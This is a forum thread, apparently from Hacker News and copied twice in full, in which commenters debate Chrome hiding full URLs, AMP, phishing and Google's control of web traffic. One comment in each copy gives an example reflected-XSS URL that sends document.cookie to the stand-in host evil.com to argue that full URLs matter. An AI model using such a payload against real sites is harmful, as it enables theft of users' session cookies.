3 ms·

If you don't know the URL, you won't know if you're on an AMP site or the actual one.

shadowgovt 6y ago
Most users need to care about that as much as they need to care about whether the page is being vended from a fresh server response or local cache.
- mysterydip 6y ago
  would you care if you went to mybank.com.sketchysite.us?
  - vntok 6y ago
    A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2 And no, users do not need to care the slightest whether they go to the first, second or 3rd URL. What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.
    - saagarjha 6y ago
      How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E http://evil.com%22%20+%20document.cookie%3C/script%3E
      - vntok 6y ago
        That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users. The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors. edit: added a few 9s
        takeda 6y ago
        Well, it switches that 99.99% to 100% now, so a step backwards. They already used colors to de-emphasize other components, this doesn't look like anything else than pushing people to rely more on google search.
        shadowgovt 6y ago
        > Well, it switches that 99.99% to 100% now, so a step backwards. Refraining from collecting malicious links happens before you click, by the time it's in the URL bar it's already pretty late to mitigate against attacks.
  - satyrnein 6y ago
    Isn't that the point of this change, only showing the domain to prevent phishing?
    - takeda 6y ago
      No, they already were doing that by using color to make the other parts less prominent. There is no good explanation to to this change than making people rely more on Google search.
      - shadowgovt 6y ago
        That's a pretty big leap, especially since users can change Chrome's search engine. There are a couple of reasons they could be making this change highlighted in these threads.
        takeda 6y ago
        It's the default, and most people who would change it (let's be honest, for privacy reasons) would switch to something like Firefox.
        shadowgovt 6y ago
        It still feels like you dove into the deep-end of the data collection conspiracy pool before considering other more-likely explanations, like "They have the information now to know that, in general, using color to make the rest of the bar less prominent wasn't sufficient to minimize users feeding data to malicious sites."
  - shadowgovt 6y ago
    Bad analogy. AMP is a Google content proxying technology, and Google isn't generally understood to be a "sketchy site." Users with the level of paranoia that puts Google in the "untrusted site" space should be sidestepping this whole conversation by avoiding using the browser Google develops regardless of what Google does to its URL bar.
    - freeflight 6y ago
      > AMP is a Google content proxying technology, and Google isn't generally understood to be a "sketchy site." The whole idea of AMP pages is sketchy by default, as it's Google taking content from websites run by news media outlets and hosting it on their own servers so they have even more control over user-tracking. In the long term, this has the potential to further centralize the Internet, something the Internet was never meant to be. It's not that difficult to imagine a future where news media won't even host their own stuff anymore but instead outsource it all to Google. Very comparable to how Facebook has become the de-facto place for small businesses, with little to no IT knowledge, to have their own little web-presence. Which has certain advantages, but it's dangerous to belittle the very real disadvantages that kind of centralization of content will have in the long term.
      - shadowgovt 6y ago
        Again, people concerned over this risk scenario should be switching to another browser regardless of what it does to the URL bar, right? I doubt we're going to find many users who's thought process runs "I'm really concerned about the long-term risk of Google building a dystopian information warehousing monoculture, but I was still going to use chrome. But now that they're changing the UI to, I assume, support their goals of building a dystopian information warehousing monoculture, it's A BRIDGE TOO FAR."
        freeflight 6y ago
        But switching to another browser does nothing to challenge AMP, as these changes are mostly pushed on the server-end while changes to the browser end, like this one, serve to further obfuscate this consolidation of Google's dominance on the web. In that context, it's a bit cynical to belittle the problem as you are doing there when this has been a very real issue for several years. As by now Google, Facebook, and Amazon control the vast majority of web traffic and have been doing so for years already [0]. This isn't some hypothetical scenario, it's something that's already very real. [0] https://staltz.com/the-web-began-dying-in-2014-heres-how.html https://staltz.com/the-web-began-dying-in-2014-heres-how.htm...

Most users need to care about that as much as they need to care about whether the page is being vended from a fresh server response or local cache.

mysterydip 6y ago
would you care if you went to mybank.com.sketchysite.us?
- vntok 6y ago
  A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2 And no, users do not need to care the slightest whether they go to the first, second or 3rd URL. What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.
  - saagarjha 6y ago
    How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E http://evil.com%22%20+%20document.cookie%3C/script%3E
    - vntok 6y ago
      That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users. The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors. edit: added a few 9s
      - takeda 6y ago
        Well, it switches that 99.99% to 100% now, so a step backwards. They already used colors to de-emphasize other components, this doesn't look like anything else than pushing people to rely more on google search.
        shadowgovt 6y ago
        > Well, it switches that 99.99% to 100% now, so a step backwards. Refraining from collecting malicious links happens before you click, by the time it's in the URL bar it's already pretty late to mitigate against attacks.
- satyrnein 6y ago
  Isn't that the point of this change, only showing the domain to prevent phishing?
  - takeda 6y ago
    No, they already were doing that by using color to make the other parts less prominent. There is no good explanation to to this change than making people rely more on Google search.
    - shadowgovt 6y ago
      That's a pretty big leap, especially since users can change Chrome's search engine. There are a couple of reasons they could be making this change highlighted in these threads.
      - takeda 6y ago
        It's the default, and most people who would change it (let's be honest, for privacy reasons) would switch to something like Firefox.
        shadowgovt 6y ago
        It still feels like you dove into the deep-end of the data collection conspiracy pool before considering other more-likely explanations, like "They have the information now to know that, in general, using color to make the rest of the bar less prominent wasn't sufficient to minimize users feeding data to malicious sites."
- shadowgovt 6y ago
  Bad analogy. AMP is a Google content proxying technology, and Google isn't generally understood to be a "sketchy site." Users with the level of paranoia that puts Google in the "untrusted site" space should be sidestepping this whole conversation by avoiding using the browser Google develops regardless of what Google does to its URL bar.
  - freeflight 6y ago
    > AMP is a Google content proxying technology, and Google isn't generally understood to be a "sketchy site." The whole idea of AMP pages is sketchy by default, as it's Google taking content from websites run by news media outlets and hosting it on their own servers so they have even more control over user-tracking. In the long term, this has the potential to further centralize the Internet, something the Internet was never meant to be. It's not that difficult to imagine a future where news media won't even host their own stuff anymore but instead outsource it all to Google. Very comparable to how Facebook has become the de-facto place for small businesses, with little to no IT knowledge, to have their own little web-presence. Which has certain advantages, but it's dangerous to belittle the very real disadvantages that kind of centralization of content will have in the long term.
    - shadowgovt 6y ago
      Again, people concerned over this risk scenario should be switching to another browser regardless of what it does to the URL bar, right? I doubt we're going to find many users who's thought process runs "I'm really concerned about the long-term risk of Google building a dystopian information warehousing monoculture, but I was still going to use chrome. But now that they're changing the UI to, I assume, support their goals of building a dystopian information warehousing monoculture, it's A BRIDGE TOO FAR."
      - freeflight 6y ago
        But switching to another browser does nothing to challenge AMP, as these changes are mostly pushed on the server-end while changes to the browser end, like this one, serve to further obfuscate this consolidation of Google's dominance on the web. In that context, it's a bit cynical to belittle the problem as you are doing there when this has been a very real issue for several years. As by now Google, Facebook, and Amazon control the vast majority of web traffic and have been doing so for years already [0]. This isn't some hypothetical scenario, it's something that's already very real. [0] https://staltz.com/the-web-began-dying-in-2014-heres-how.html https://staltz.com/the-web-began-dying-in-2014-heres-how.htm...